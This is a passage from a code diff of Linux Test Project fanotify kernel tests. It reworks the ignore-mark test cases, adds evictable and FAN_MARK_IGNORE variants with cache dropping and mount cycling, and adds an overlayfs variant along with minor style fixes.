}, { - "ignore exec fs events created on a specific mount point", - MOUNT_PATH, FANOTIFY_FILESYSTEM, - MNT2_PATH, FANOTIFY_MOUNT, - 0, - FILE_EXEC_PATH2, FAN_OPEN_EXEC, FAN_OPEN | FAN_OPEN_EXEC + .tname = "ignore mount events created inside a parent watching children", + .mark_path_fmt = FILE_PATH, + .mark_type = FANOTIFY_MOUNT, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .ignored_flags = FAN_EVENT_ON_CHILD, + .event_path_fmt = FILE_PATH, + .expected_mask_without_ignore = FAN_OPEN }, { - "don't ignore fs events created on another mount point", - MOUNT_PATH, FANOTIFY_FILESYSTEM, - MNT2_PATH, FANOTIFY_MOUNT, - 0, - FILE_PATH, FAN_OPEN, FAN_OPEN + .tname = "don't ignore mount events created inside a parent not watching children", + .mark_path_fmt = FILE_PATH, + .mark_type = FANOTIFY_MOUNT, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .event_path_fmt = FILE_PATH, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN }, { - "don't ignore exec fs events created on another mount point", - MOUNT_PATH, FANOTIFY_FILESYSTEM, - MNT2_PATH, FANOTIFY_MOUNT, - 0, - FILE_EXEC_PATH, FAN_OPEN | FAN_OPEN_EXEC, - FAN_OPEN | FAN_OPEN_EXEC + .tname = "ignore fs events created inside a parent watching children", + .mark_path_fmt = FILE_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .ignored_flags = FAN_EVENT_ON_CHILD, + .event_path_fmt = FILE_PATH, + .expected_mask_without_ignore = FAN_OPEN }, { - "ignore child exec events created on a specific mount point", - MOUNT_PATH, FANOTIFY_INODE, - MOUNT_PATH, FANOTIFY_MOUNT, - 0, - FILE_EXEC_PATH, FAN_OPEN_EXEC, FAN_OPEN | FAN_OPEN_EXEC + .tname = "don't ignore fs events created inside a parent not watching children", + .mark_path_fmt = FILE_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .event_path_fmt = FILE_PATH, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN }, + /* Evictable ignore mark test cases */ { - "ignore events on children of directory created on a specific file", - MNT2_PATH, FANOTIFY_INODE, - FILE_PATH, FANOTIFY_INODE, - FAN_EVENT_ON_CHILD, - FILE_PATH, 0, FAN_OPEN + .tname = "don't ignore mount events created on file with evicted ignore mark", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_MOUNT, + .ignore_path_cnt = 16, + .ignore_path_fmt = FILE_PATH_MULTI, + .ignore_mark_type = FANOTIFY_EVICTABLE, + .event_path_cnt = 16, + .event_path_fmt = FILE_PATH_MULTI, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN }, { - "ignore events on file created inside a parent watching children", - FILE_PATH, FANOTIFY_INODE, - MNT2_PATH, FANOTIFY_INODE, - FAN_EVENT_ON_CHILD, - FILE_PATH, 0, FAN_OPEN + .tname = "don't ignore fs events created on a file with evicted ignore mark", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_cnt = 16, + .ignore_path_fmt = FILE_PATH_MULTI, + .ignore_mark_type = FANOTIFY_EVICTABLE, + .event_path_cnt = 16, + .event_path_fmt = FILE_PATH_MULTI, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN }, { - "don't ignore events on file created inside a parent not watching children", - FILE_PATH, FANOTIFY_INODE, - MNT2_PATH, FANOTIFY_INODE, - 0, - FILE_PATH, FAN_OPEN, FAN_OPEN + .tname = "don't ignore mount events created inside a parent with evicted ignore mark", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_MOUNT, + .ignore_path_cnt = 16, + .ignore_path_fmt = DIR_PATH_MULTI, + .ignore_mark_type = FANOTIFY_EVICTABLE, + .ignored_flags = FAN_EVENT_ON_CHILD, + .event_path_cnt = 16, + .event_path_fmt = FILE_PATH_MULTIDIR, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN }, { - "ignore mount events created inside a parent watching children", - FILE_PATH, FANOTIFY_MOUNT, - MNT2_PATH, FANOTIFY_INODE, - FAN_EVENT_ON_CHILD, - FILE_PATH, 0, FAN_OPEN + .tname = "don't ignore fs events created inside a parent with evicted ignore mark", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_cnt = 16, + .ignore_path_fmt = DIR_PATH_MULTI, + .ignore_mark_type = FANOTIFY_EVICTABLE, + .ignored_flags = FAN_EVENT_ON_CHILD, + .event_path_cnt = 16, + .event_path_fmt = FILE_PATH_MULTIDIR, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN }, + /* FAN_MARK_IGNORE specific test cases */ { - "don't ignore mount events created inside a parent not watching children", - FILE_PATH, FANOTIFY_MOUNT, - MNT2_PATH, FANOTIFY_INODE, - 0, - FILE_PATH, FAN_OPEN, FAN_OPEN + .tname = "ignore events on subdir inside a parent watching subdirs", + .mark_path_fmt = SUBDIR_PATH, + .mark_type = FANOTIFY_SUBDIR, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .ignored_flags = FAN_EVENT_ON_CHILD | FAN_ONDIR, + .event_path_fmt = SUBDIR_PATH, + .expected_mask_with_ignore = 0, + .expected_mask_without_ignore = FAN_OPEN | FAN_ONDIR }, { - "ignore fs events created inside a parent watching children", - FILE_PATH, FANOTIFY_FILESYSTEM, - MNT2_PATH, FANOTIFY_INODE, - FAN_EVENT_ON_CHILD, - FILE_PATH, 0, FAN_OPEN + .tname = "don't ignore events on subdir inside a parent not watching children", + .mark_path_fmt = SUBDIR_PATH, + .mark_type = FANOTIFY_SUBDIR, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .ignored_flags = FAN_ONDIR, + .event_path_fmt = SUBDIR_PATH, + .expected_mask_with_ignore = FAN_OPEN | FAN_ONDIR, + .expected_mask_without_ignore = FAN_OPEN | FAN_ONDIR }, { - "don't ignore fs events created inside a parent not watching children", - FILE_PATH, FANOTIFY_FILESYSTEM, - MNT2_PATH, FANOTIFY_INODE, - 0, - FILE_PATH, FAN_OPEN, FAN_OPEN + .tname = "don't ignore events on subdir inside a parent watching non-dir children", + .mark_path_fmt = SUBDIR_PATH, + .mark_type = FANOTIFY_SUBDIR, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .ignored_flags = FAN_EVENT_ON_CHILD, + .event_path_fmt = SUBDIR_PATH, + .expected_mask_with_ignore = FAN_OPEN | FAN_ONDIR, + .expected_mask_without_ignore = FAN_OPEN | FAN_ONDIR }, }; +static int format_path_check(char *buf, const char *fmt, int count, int i) +{ + int limit = count ? : 1; + + if (i >= limit) + return 0; + + if (count) + sprintf(buf, fmt, i); + else + strcpy(buf, fmt); + return 1; +} + +#define foreach_path(tc, buf, pname) \ + for (int piter = 0; format_path_check((buf), (tc)->pname##_fmt, \ + (tc)->pname##_cnt, piter); piter++) + +static void show_fanotify_ignore_marks(int fd, int min, int max) +{ + unsigned int mflags, mask, ignored_mask; + char procfdinfo[100]; + char line[BUFSIZ]; + int marks = 0; + FILE *f; + + sprintf(procfdinfo, "/proc/%d/fdinfo/%d", (int)getpid(), fd); + f = SAFE_FOPEN(procfdinfo, "r"); + while (fgets(line, BUFSIZ, f)) { + if (sscanf(line, "fanotify ino:%*x sdev:%*x mflags: %x mask:%x ignored_mask:%x", + &mflags, &mask, &ignored_mask) == 3) { + if (ignored_mask != 0) + marks++; + } + } + if (marks < min) { + tst_res(TFAIL, "Found %d ignore marks but at least %d expected", marks, min); + return; + } + if (marks > max) { + tst_res(TFAIL, "Found %d ignore marks but at most %d expected", marks, max); + return; + } + tst_res(TPASS, "Found %d ignore marks which is in expected range %d-%d", marks, min, max); +} + +static void drop_caches(void) +{ + if (syncfs(fd_syncfs) < 0) + tst_brk(TBROK | TERRNO, "Unexpected error when syncing filesystem"); + + SAFE_FILE_PRINTF(DROP_CACHES_FILE, "3"); +} + static int create_fanotify_groups(unsigned int n) { struct tcase *tc = &tcases[n]; struct fanotify_mark_type *mark, *ignore_mark; unsigned int mark_ignored, mask; unsigned int p, i; + int evictable_ignored = (tc->ignore_mark_type == FANOTIFY_EVICTABLE); + int ignore_mark_type; + int ignored_onchild = tc->ignored_flags & FAN_EVENT_ON_CHILD; + char path[PATH_MAX]; mark = &fanotify_mark_types[tc->mark_type]; ignore_mark = &fanotify_mark_types[tc->ignore_mark_type]; + ignore_mark_type = ignore_mark->flag & FAN_MARK_TYPES; + + /* Open fd for syncfs before creating groups to avoid the FAN_OPEN event */ + fd_syncfs = SAFE_OPEN(MOUNT_PATH, O_RDONLY); for (p = 0; p < num_classes; p++) { for (i = 0; i < GROUPS_PER_PRIO; i++) { @@ -309,39 +547,107 @@ static int create_fanotify_groups(unsigned int n) * FAN_EVENT_ON_CHILD has no effect on filesystem/mount * or inode mark on non-directory. */ - SAFE_FANOTIFY_MARK(fd_notify[p][i], + foreach_path(tc, path, mark_path) + SAFE_FANOTIFY_MARK(fd_notify[p][i], FAN_MARK_ADD | mark->flag, tc->expected_mask_without_ignore | - FAN_EVENT_ON_CHILD, - AT_FDCWD, tc->mark_path); + FAN_EVENT_ON_CHILD | FAN_ONDIR, + AT_FDCWD, path); - /* Add ignore mark for groups with higher priority */ + /* Do not add ignore mark for first priority groups */ if (p == 0) continue; - mask = FAN_OPEN; - mark_ignored = FAN_MARK_IGNORED_MASK | - FAN_MARK_IGNORED_SURV_MODIFY; + /* + * Run tests in two variants: + * 1. Legacy FAN_MARK_IGNORED_MASK + * 2. FAN_MARK_IGNORE + */ + mark_ignored = tst_variant ? FAN_MARK_IGNORE_SURV : FAN_MARK_IGNORED_SURV; + mask = FAN_OPEN | tc->ignored_flags; add_mark: - SAFE_FANOTIFY_MARK(fd_notify[p][i], + foreach_path(tc, path, ignore_path) + SAFE_FANOTIFY_MARK(fd_notify[p][i], FAN_MARK_ADD | ignore_mark->flag | mark_ignored, - mask, AT_FDCWD, tc->ignore_path); + mask, AT_FDCWD, path); /* - * If ignored mask is on a parent watching children, - * also set the flag FAN_EVENT_ON_CHILD in mark mask. + * FAN_MARK_IGNORE respects FAN_EVENT_ON_CHILD flag, but legacy + * FAN_MARK_IGNORED_MASK does not. When using legacy ignore mask, + * if ignored mask is on a parent watching children, we need to + * also set the event and flag FAN_EVENT_ON_CHILD in mark mask. * This is needed to indicate that parent ignored mask * should be applied to events on children. */ - if (tc->ignored_onchild && mark_ignored) { - mask = tc->ignored_onchild; - /* XXX: temporary hack may be removed in the future */ - mask |= FAN_OPEN; + if (ignored_onchild && mark_ignored & FAN_MARK_IGNORED_MASK) { + mark_ignored = 0; + goto add_mark; + } + + /* + * When using FAN_MARK_IGNORE, verify that the FAN_EVENT_ON_CHILD + * flag in mark mask does not affect the ignore mask. + * + * If parent does not want to ignore FAN_OPEN events on children, + * set a mark mask to watch FAN_CLOSE_WRITE events on children + * to make sure we do not ignore FAN_OPEN events from children. + * + * If parent wants to ignore FAN_OPEN events on childern, + * set a mark mask to watch FAN_CLOSE events only on parent itself + * to make sure we do not get FAN_CLOSE events from children. + * + * If we had already set the FAN_EVENT_ON_CHILD in the parent + * mark mask (mark_type == FANOTIFY_PARENT), then FAN_CLOSE mask + * will apply also to childern, so we skip this verification. + */ + if (mark_ignored & FAN_MARK_IGNORE && + tc->ignore_mark_type == FANOTIFY_PARENT) { + if (!ignored_onchild) + mask = FAN_CLOSE_WRITE | FAN_EVENT_ON_CHILD | FAN_ONDIR; + else if (tc->mark_type == FANOTIFY_PARENT) + continue; + else if (tc->ignored_flags & FAN_ONDIR) + mask = FAN_CLOSE | ignored_onchild; + else + mask = FAN_CLOSE | FAN_ONDIR; mark_ignored = 0; goto add_mark; } } } + + /* + * Verify that first priority groups have no ignore inode marks and that + * drop_caches evicted the evictable ignore marks of other groups. + */ + if (evictable_ignored) + drop_caches(); + + if (ignore_mark_type == FAN_MARK_INODE) { + for (p = 0; p < num_classes; p++) { + for (i = 0; i < GROUPS_PER_PRIO; i++) { + if (fd_notify[p][i] > 0) { + int minexp, maxexp; + + if (p == 0) { + minexp = maxexp = 0; + } else if (evictable_ignored) { + minexp = 0; + /* + * Check at least half the + * marks get evicted by reclaim + */ + maxexp = tc->ignore_path_cnt / 2; + } else { + minexp = maxexp = tc->ignore_path_cnt ? : 1; + } + show_fanotify_ignore_marks(fd_notify[p][i], + minexp, maxexp); + } + } + } + } + return 0; } @@ -355,44 +661,63 @@ static void cleanup_fanotify_groups(void) SAFE_CLOSE(fd_notify[p][i]); } } + if (fd_syncfs > 0) + SAFE_CLOSE(fd_syncfs); +} + +/* Flush out all pending dirty inodes and destructing marks */ +static void mount_cycle(void) +{ + if (bind_mount_created) + SAFE_UMOUNT(MNT2_PATH); + SAFE_UMOUNT(MOUNT_PATH); + SAFE_MOUNT(tst_device->dev, MOUNT_PATH, tst_device->fs_type, 0, NULL); + SAFE_MOUNT(MOUNT_PATH, MNT2_PATH, "none", MS_BIND, NULL); + bind_mount_created = 1; } -static void verify_event(int p, int group, struct fanotify_event_metadata *event, +static int verify_event(int p, int group, struct fanotify_event_metadata *event, unsigned long long expected_mask) { + /* Only FAN_REPORT_FID reports the FAN_ONDIR flag in events on dirs */ + if (!(fanotify_class[p] & FAN_REPORT_FID)) + expected_mask &= ~FAN_ONDIR; + if (event->mask != expected_mask) { tst_res(TFAIL, "group %d (%x) got event: mask %llx (expected %llx) " "pid=%u fd=%u", group, fanotify_class[p], (unsigned long long) event->mask, (unsigned long long) expected_mask, - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); + return 0; } else if (event->pid != child_pid) { tst_res(TFAIL, "group %d (%x) got event: mask %llx pid=%u " "(expected %u) fd=%u", group, fanotify_class[p], - (unsigned long long)event->mask, (unsigned)event->pid, - (unsigned)getpid(), event->fd); - } else { - tst_res(TPASS, "group %d (%x) got event: mask %llx pid=%u fd=%u", - group, fanotify_class[p], (unsigned long long)event->mask, - (unsigned)event->pid, event->fd); + (unsigned long long)event->mask, (unsigned int)event->pid, + (unsigned int)child_pid, event->fd); + return 0; } + return 1; } -static int generate_event(const char *event_path, - unsigned long long expected_mask) +static int generate_event(struct tcase *tc, unsigned long long expected_mask) { int fd, status; child_pid = SAFE_FORK(); if (child_pid == 0) { - if (expected_mask & FAN_OPEN_EXEC) { - SAFE_EXECL(event_path, event_path, NULL); - } else { - fd = SAFE_OPEN(event_path, O_RDONLY); + char path[PATH_MAX]; + + foreach_path(tc, path, event_path) { + if (expected_mask & FAN_OPEN_EXEC) { + SAFE_EXECL(path, path, NULL); + } else { + fd = SAFE_OPEN(path, O_RDONLY); - if (fd > 0) - SAFE_CLOSE(fd); + if (fd > 0) + SAFE_CLOSE(fd); + } } exit(0); @@ -405,6 +730,33 @@ static int generate_event(const char *event_path, return 0; } +static struct fanotify_event_metadata *fetch_event(int fd, int *retp) +{ + int ret; + struct fanotify_event_metadata *event; + + *retp = 0; + if (event_buf_pos >= event_buf_len) { + event_buf_pos = 0; + ret = read(fd, event_buf, EVENT_BUF_LEN); + if (ret < 0) { + if (errno == EAGAIN) + return NULL; + tst_brk(TBROK | TERRNO, "reading fanotify events failed"); + } + event_buf_len = ret; + } + if (event_buf_len - event_buf_pos < (int)FAN_EVENT_METADATA_LEN) { + tst_brk(TBROK, + "too short event when reading fanotify events (%d < %d)", + event_buf_len - event_buf_pos, + (int)FAN_EVENT_METADATA_LEN); + } + event = (struct fanotify_event_metadata *)(event_buf + event_buf_pos); + event_buf_pos += event->event_len; + return event; +} + static void test_fanotify(unsigned int n) { struct tcase *tc = &tcases[n]; @@ -412,6 +764,7 @@ static void test_fanotify(unsigned int n) int ret; unsigned int p, i; struct fanotify_event_metadata *event; + int event_count; tst_res(TINFO, "Test #%d: %s", n, tc->tname); @@ -425,12 +778,29 @@ static void test_fanotify(unsigned int n) return; } - if (tc->ignored_onchild && tst_kvercmp(5, 9, 0) < 0) { + if (evictable_mark_unsupported && tc->ignore_mark_type == FANOTIFY_EVICTABLE) { + tst_res(TCONF, "FAN_MARK_EVICTABLE not supported in kernel?"); + return; + } + + if (ignore_mark_unsupported && tst_variant) { + tst_res(TCONF, "FAN_MARK_IGNORE not supported in kernel?"); + return; + } + + if (tc->ignored_flags & FAN_EVENT_ON_CHILD && tst_kvercmp(5, 9, 0) < 0) { tst_res(TCONF, "ignored mask in combination with flag FAN_EVENT_ON_CHILD" " has undefined behavior on kernel < 5.9"); return; } + if (tc->ignored_flags && tc->ignore_mark_type == FANOTIFY_PARENT && + !tst_variant && tc->mark_type == FANOTIFY_SUBDIR) { + tst_res(TCONF, "flags FAN_EVENT_ON_CHILD and FAN_ONDIR do not take effect" + " with legacy FAN_MARK_IGNORED_MASK"); + return; + } + if (create_fanotify_groups(n) != 0) goto cleanup; @@ -438,7 +808,7 @@ static void test_fanotify(unsigned int n) ignore_mark = &fanotify_mark_types[tc->ignore_mark_type]; /* Generate event in child process */ - if (!generate_event(tc->event_path, tc->expected_mask_with_ignore)) + if (!generate_event(tc, tc->expected_mask_with_ignore)) tst_brk(TBROK, "Child process terminated incorrectly"); /* First verify all groups without matching ignore mask got the event */ @@ -447,71 +817,68 @@ static void test_fanotify(unsigned int n) break; for (i = 0; i < GROUPS_PER_PRIO; i++) { - ret = read(fd_notify[p][i], event_buf, EVENT_BUF_LEN); - if (ret < 0) { - if (errno == EAGAIN) { - tst_res(TFAIL, "group %d (%x) " - "with %s did not get event", - i, fanotify_class[p], mark->name); - continue; - } - tst_brk(TBROK | TERRNO, - "reading fanotify events failed"); - } - if (ret < (int)FAN_EVENT_METADATA_LEN) { - tst_brk(TBROK, - "short read when reading fanotify " - "events (%d < %d)", ret, - (int)EVENT_BUF_LEN); + event_count = 0; + event_buf_pos = event_buf_len = 0; + while ((event = fetch_event(fd_notify[p][i], &ret))) { + event_count++; + if (!verify_event(p, i, event, p == 0 ? + tc->expected_mask_without_ignore : + tc->expected_mask_with_ignore)) + break; + if (event->fd != FAN_NOFD) + SAFE_CLOSE(event->fd); } - event = (struct fanotify_event_metadata *)event_buf; - if (ret > (int)event->event_len) { + if (ret < 0) + continue; + if (event_count != (tc->event_path_cnt ? : 1)) { tst_res(TFAIL, "group %d (%x) with %s " - "got more than one event (%d > %d)", - i, fanotify_class[p], mark->name, ret, - event->event_len); + "got unexpected number of events (%d != %d)", + i, fanotify_class[p], mark->name, + event_count, tc->event_path_cnt); } else { - verify_event(p, i, event, p == 0 ? - tc->expected_mask_without_ignore : - tc->expected_mask_with_ignore); + tst_res(TPASS, "group %d (%x) got %d events: mask %llx pid=%u", + i, fanotify_class[p], event_count, + (unsigned long long)(p == 0 ? + tc->expected_mask_without_ignore : + tc->expected_mask_with_ignore), + (unsigned int)child_pid); } - if (event->fd != FAN_NOFD) - SAFE_CLOSE(event->fd); } } /* Then verify all groups with matching ignore mask did got the event */ for (p = 1; p < num_classes && !tc->expected_mask_with_ignore; p++) { for (i = 0; i < GROUPS_PER_PRIO; i++) { - ret = read(fd_notify[p][i], event_buf, EVENT_BUF_LEN); - if (ret == 0) { - tst_brk(TBROK, - "zero length read from fanotify fd"); - } - if (ret > 0) { - tst_res(TFAIL, "group %d (%x) with %s and " - "%s ignore mask got event", - i, fanotify_class[p], mark->name, ignore_mark->name); + event_count = 0; + event_buf_pos = event_buf_len = 0; + while ((event = fetch_event(fd_notify[p][i], &ret))) { + event_count++; if (event->fd != FAN_NOFD) SAFE_CLOSE(event->fd); - } else if (errno == EAGAIN) { - tst_res(TPASS, "group %d (%x) with %s and " - "%s ignore mask got no event", - i, fanotify_class[p], mark->name, ignore_mark->name); - } else { - tst_brk(TBROK | TERRNO, - "reading fanotify events failed"); } + if (ret < 0) + continue; + if (event_count > tc->event_path_cnt / 2) + tst_res(TFAIL, "group %d (%x) with %s and " + "%s ignore mask got unexpectedly many events (%d > %d)", + i, fanotify_class[p], mark->name, + ignore_mark->name, event_count, + tc->event_path_cnt / 2); } } cleanup: cleanup_fanotify_groups(); + mount_cycle(); } static void setup(void) { + int i; + exec_events_unsupported = fanotify_events_supported_by_kernel(FAN_OPEN_EXEC, FAN_CLASS_CONTENT, 0); filesystem_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_FILESYSTEM); + evictable_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_EVICTABLE); + ignore_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_IGNORE_SURV); fan_report_dfid_unsupported = fanotify_init_flags_supported_on_fs(FAN_REPORT_DFID_NAME, MOUNT_PATH); if (fan_report_dfid_unsupported) { @@ -520,41 +887,81 @@ static void setup(void) num_classes = NUM_PRIORITIES; } - /* Create another bind mount at another path for generating events */ - SAFE_MKDIR(MNT2_PATH, 0755); - SAFE_MOUNT(MOUNT_PATH, MNT2_PATH, "none", MS_BIND, NULL); - bind_mount_created = 1; - + SAFE_MKDIR(DIR_PATH, 0755); + SAFE_MKDIR(SUBDIR_PATH, 0755); SAFE_FILE_PRINTF(FILE_PATH, "1"); - SAFE_FILE_PRINTF(FILE2_PATH, "1"); + for (i = 0; i < (int)ARRAY_SIZE(tcases); i++) { + if (tcases[i].mark_path_cnt > max_file_multi) + max_file_multi = tcases[i].mark_path_cnt; + if (tcases[i].ignore_path_cnt > max_file_multi) + max_file_multi = tcases[i].ignore_path_cnt; + if (tcases[i].event_path_cnt > max_file_multi) + max_file_multi = tcases[i].event_path_cnt; + } + for (i = 0; i < max_file_multi; i++) { + char path[PATH_MAX]; + + sprintf(path, FILE_PATH_MULTI, i); + SAFE_FILE_PRINTF(path, "1"); + sprintf(path, DIR_PATH_MULTI, i); + SAFE_MKDIR(path, 0755); + sprintf(path, FILE_PATH_MULTIDIR, i); + SAFE_FILE_PRINTF(path, "1"); + } SAFE_CP(TEST_APP, FILE_EXEC_PATH); SAFE_CP(TEST_APP, FILE2_EXEC_PATH); + + /* Create another bind mount at another path for generating events */ + SAFE_MKDIR(MNT2_PATH, 0755); + mount_cycle(); + + SAFE_FILE_SCANF(CACHE_PRESSURE_FILE, "%d", &old_cache_pressure); + /* Set high priority for evicting inodes */ + SAFE_FILE_PRINTF(CACHE_PRESSURE_FILE, "500"); } static void cleanup(void) { + int i; + cleanup_fanotify_groups(); - if (bind_mount_created && tst_umount(MNT2_PATH) < 0) - tst_brk(TBROK | TERRNO, "bind umount failed"); -} + if (bind_mount_created) + SAFE_UMOUNT(MNT2_PATH); -static const char *const resource_files[] = { - TEST_APP, - NULL -}; + SAFE_FILE_PRINTF(CACHE_PRESSURE_FILE, "%d", old_cache_pressure); + + for (i = 0; i < max_file_multi; i++) { + char path[PATH_MAX]; + + sprintf(path, FILE_PATH_MULTIDIR, i); + SAFE_UNLINK(path); + sprintf(path, DIR_PATH_MULTI, i); + SAFE_RMDIR(path); + sprintf(path, FILE_PATH_MULTI, i); + SAFE_UNLINK(path); + } + SAFE_UNLINK(FILE_PATH); + SAFE_RMDIR(SUBDIR_PATH); + SAFE_RMDIR(DIR_PATH); + SAFE_RMDIR(MNT2_PATH); +} static struct tst_test test = { .test = test_fanotify, .tcnt = ARRAY_SIZE(tcases), + .test_variants = 2, .setup = setup, .cleanup = cleanup, .mount_device = 1, .mntpoint = MOUNT_PATH, .needs_root = 1, .forks_child = 1, - .resource_files = resource_files, + .resource_files = (const char *const []) { + TEST_APP, + NULL + }, .tags = (const struct tst_tag[]) { {"linux-git", "9bdda4e9cf2d"}, {"linux-git", "2f02fd3fa13e"}, diff --git a/testcases/kernel/syscalls/fanotify/fanotify11.c b/testcases/kernel/syscalls/fanotify/fanotify11.c index b21c986c..03583d84 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify11.c +++ b/testcases/kernel/syscalls/fanotify/fanotify11.c @@ -38,7 +38,7 @@ static int tid; static int fan_report_tid_unsupported; -void *thread_create_file(void *arg LTP_ATTRIBUTE_UNUSED) +static void *thread_create_file(void *arg LTP_ATTRIBUTE_UNUSED) { char tid_file[64] = {0}; @@ -54,7 +54,7 @@ static unsigned int tcases[] = { FAN_CLASS_NOTIF | FAN_REPORT_TID }; -void test01(unsigned int i) +static void test01(unsigned int i) { pthread_t p_id; struct fanotify_event_metadata event; diff --git a/testcases/kernel/syscalls/fanotify/fanotify12.c b/testcases/kernel/syscalls/fanotify/fanotify12.c index c77dbfd8..7f8e97b1 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify12.c +++ b/testcases/kernel/syscalls/fanotify/fanotify12.c @@ -28,7 +28,7 @@ #include "fanotify.h" #define EVENT_MAX 1024 -#define EVENT_SIZE (sizeof (struct fanotify_event_metadata)) +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) #define EVENT_SET_BUF 32 @@ -190,21 +190,21 @@ static void do_test(unsigned int n) "pid=%u, fd=%d", (unsigned long long) event->mask, *(tc->event_set + event_num), - (unsigned) event->pid, + (unsigned int) event->pid, event->fd); } else if (event->pid != child_pid) { tst_res(TFAIL, "Received event: mask=%llx, pid=%u (expected " "%u), fd=%d", (unsigned long long) event->mask, - (unsigned) event->pid, - (unsigned) child_pid, + (unsigned int) event->pid, + (unsigned int) child_pid, event->fd); } else { tst_res(TPASS, "Received event: mask=%llx, pid=%u, fd=%d", (unsigned long long) event->mask, - (unsigned) event->pid, + (unsigned int) event->pid, event->fd); } @@ -235,11 +235,6 @@ static void do_cleanup(void) SAFE_CLOSE(fd_notify); } -static const char *const resource_files[] = { - TEST_APP, - NULL -}; - static struct tst_test test = { .setup = do_setup, .test = do_test, @@ -247,7 +242,10 @@ static struct tst_test test = { .cleanup = do_cleanup, .forks_child = 1, .needs_root = 1, - .resource_files = resource_files + .resource_files = (const char *const []) { + TEST_APP, + NULL + } }; #else TST_TEST_TCONF("System does not contain required fanotify support"); diff --git a/testcases/kernel/syscalls/fanotify/fanotify13.c b/testcases/kernel/syscalls/fanotify/fanotify13.c index 9061c1ff..a25a360f 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify13.c +++ b/testcases/kernel/syscalls/fanotify/fanotify13.c @@ -12,7 +12,7 @@ * calls statfs(2) and name_to_handle_at(2). */ - /* +/* * This is also regression test for: * c285a2f01d69 ("fanotify: update connector fsid cache on add mark") */ @@ -25,6 +25,7 @@ #include #include #include +#include #include #include #include "tst_test.h" @@ -37,7 +38,7 @@ #define DIR_ONE "dir_one" #define FILE_ONE "file_one" #define FILE_TWO "file_two" -#define MOUNT_PATH "mntpoint" +#define MOUNT_PATH "tstmnt" #define EVENT_MAX ARRAY_SIZE(objects) #define DIR_PATH_ONE MOUNT_PATH"/"DIR_ONE #define FILE_PATH_ONE MOUNT_PATH"/"FILE_ONE @@ -88,6 +89,8 @@ static struct test_case_t { } }; +static int ovl_mounted; +static int bind_mounted; static int nofid_fd; static int fanotify_fd; static int filesystem_mark_unsupported; @@ -109,6 +112,7 @@ static void create_objects(void) static void get_object_stats(void) { unsigned int i; + for (i = 0; i < ARRAY_SIZE(objects); i++) fanotify_save_fid(objects[i].path, &objects[i].fid); } @@ -142,8 +146,13 @@ static void do_test(unsigned int number) struct fanotify_mark_type *mark = &tc->mark; tst_res(TINFO, - "Test #%d: FAN_REPORT_FID with mark flag: %s", - number, mark->name); + "Test #%d.%d: FAN_REPORT_FID with mark flag: %s", + number, tst_variant, mark->name); + + if (tst_variant && !ovl_mounted) { + tst_res(TCONF, "overlayfs not supported on %s", tst_device->fs_type); + return; + } if (filesystem_mark_unsupported && mark->flag & FAN_MARK_FILESYSTEM) { tst_res(TCONF, "FAN_MARK_FILESYSTEM not supported in kernel?"); @@ -159,6 +168,15 @@ static void do_test(unsigned int number) if (setup_marks(fanotify_fd, tc) != 0) goto out; + /* Variant #1: watching upper fs - open files on overlayfs */ + if (tst_variant == 1) { + if (mark->flag & FAN_MARK_MOUNT) { + tst_res(TCONF, "overlayfs upper fs cannot be watched with mount mark"); + goto out; + } + SAFE_MOUNT(OVL_MNT, MOUNT_PATH, "none", MS_BIND, NULL); + } + /* Generate sequence of FAN_OPEN events on objects */ for (i = 0; i < ARRAY_SIZE(objects); i++) fds[i] = SAFE_OPEN(objects[i].path, O_RDONLY); @@ -173,6 +191,9 @@ static void do_test(unsigned int number) SAFE_CLOSE(fds[i]); } + if (tst_variant == 1) + SAFE_UMOUNT(MOUNT_PATH); + /* Read events from event queue */ len = SAFE_READ(0, fanotify_fd, events_buf, BUF_SIZE); @@ -181,6 +202,7 @@ static void do_test(unsigned int number) FAN_EVENT_OK(metadata, len); metadata = FAN_EVENT_NEXT(metadata, len), i++) { struct fanotify_fid_t *expected_fid = &objects[i].fid; + event_fid = (struct fanotify_event_info_fid *) (metadata + 1); event_file_handle = (struct file_handle *) event_fid->handle; @@ -259,7 +281,32 @@ out: static void do_setup(void) { - REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(FAN_REPORT_FID, MOUNT_PATH); + const char *mnt; + + /* + * Bind mount to either base fs or to overlayfs over base fs: + * Variant #0: watch base fs - open files on base fs + * Variant #1: watch upper fs - open files on overlayfs + * + * Variant #1 tests a bug whose fix bc2473c90fca ("ovl: enable fsnotify + * events on underlying real files") in kernel 6.5 is not likely to be + * backported to older kernels. + * To avoid waiting for events that won't arrive when testing old kernels, + * require that 